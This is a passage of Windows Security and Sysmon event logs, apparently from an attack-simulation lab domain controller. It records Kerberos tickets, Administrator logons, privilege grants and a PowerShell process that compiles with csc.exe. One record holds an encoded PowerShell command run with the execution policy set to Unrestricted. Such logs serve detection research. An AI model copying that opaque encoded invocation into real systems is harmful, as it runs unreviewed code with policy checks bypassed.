11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221903,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221904,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221905,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67830\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x67830","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221906,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67830\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x67830","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221907,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221908,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221909,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221910,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x68F0E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x68f0e","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221911,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x68F0E\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x68f0e","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:43.834\r\nProcessGuid: {90617006-413F-5F2D-0000-001069820600}\r\nProcessId: 4248\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\nlfue2jy.dll\r\nCreationUtcTime: 2020-08-07 11:55:43.834","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:43.834","ProcessGuid":"{90617006-413F-5F2D-0000-001069820600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\nlfue2jy.dll","CreationUtcTime":"2020-08-07 11:55:43.834","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nProcessGuid: {90617006-413F-5F2D-0000-001069820600}\r\nProcessId: 4248\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\nlfue2jy.cmdline\r\nCreationUtcTime: 2020-08-07 11:55:43.834","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","ProcessGuid":"{90617006-413F-5F2D-0000-001069820600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\nlfue2jy.cmdline","CreationUtcTime":"2020-08-07 11:55:43.834","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.842\r\nProcessGuid: {90617006-413F-5F2D-0000-0010AF930600}\r\nProcessId: 5032\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\nlfue2jy.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-413F-5F2D-0000-001069820600}\r\nParentProcessId: 4248\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.842","ProcessGuid":"{90617006-413F-5F2D-0000-0010AF930600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths 